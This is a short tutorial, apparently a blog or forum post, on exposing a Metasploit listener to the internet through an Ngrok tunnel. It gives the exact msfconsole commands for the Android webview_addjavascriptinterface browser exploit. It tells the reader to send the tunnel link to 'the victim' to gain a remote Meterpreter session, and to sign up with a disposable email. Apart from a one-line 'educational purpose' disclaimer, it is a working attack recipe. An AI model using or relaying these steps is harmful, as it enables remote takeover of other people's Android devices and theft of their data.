Use Metasploit on WAN without Port Forwarding

USE METASPLOIT ON WAN WITHOUT PORT FORWARDING

Setting Ngrok

• First of all, we start with creating account at Ngrok.com
  
• Use any disposable email service to sign up.
  
• After signing up, log in to Ngrok.com and download the ngrok file.
  
• Now extract the file and open terminal in that folder.
  
• Log in again to your ngrok account and type the commands available on that page.
  
• Copy the authentication code command and paste in the terminal.
  

./ngrok authtoken your_authentication_code

• With the above command, the authentication code will be saved in your computer.
  
• Now type the following command to start the tunnel.
  

./ngrok http 4431

• Now the ngrok will start a tunnel to your computer. Copy the Ngrok URL we will need this URL later in this tutorial. Also remember the port in above command.
  

Using Metasploit with Ngrok

• For this tutorial, we are using Android web view exploit.
  
• Open terminal and type msfconsole.
  
• Now type the following command to load Android web view exploit.
  

use exploit/android/browser/webview_addjavascriptinterface

• Now while setting SRVHOST and LHOST use localhost.
  

set srvhost localhost
set lhost localhost

• In SRVPORT we will use same port that we have used while starting ngrok .i.e 4431.
  

set srvport 4431

• Now set URIPATH to /. Use the following commands.
  

set uripath /

• Above three steps are most important, so don't change the values.
  
• Then enter run to start exploit.
  
• Now you can send the link that you have got when you started Ngrok to the victim and you we be able to get the meterpreter session over the internet
  

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NOTE

• Don't change the values of srvhost, lhost and uripath.
  
• Make sure srvport and port you set while starting ngrok are same.
  
• Only for educational purpose.
  

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EDIT: Typo.

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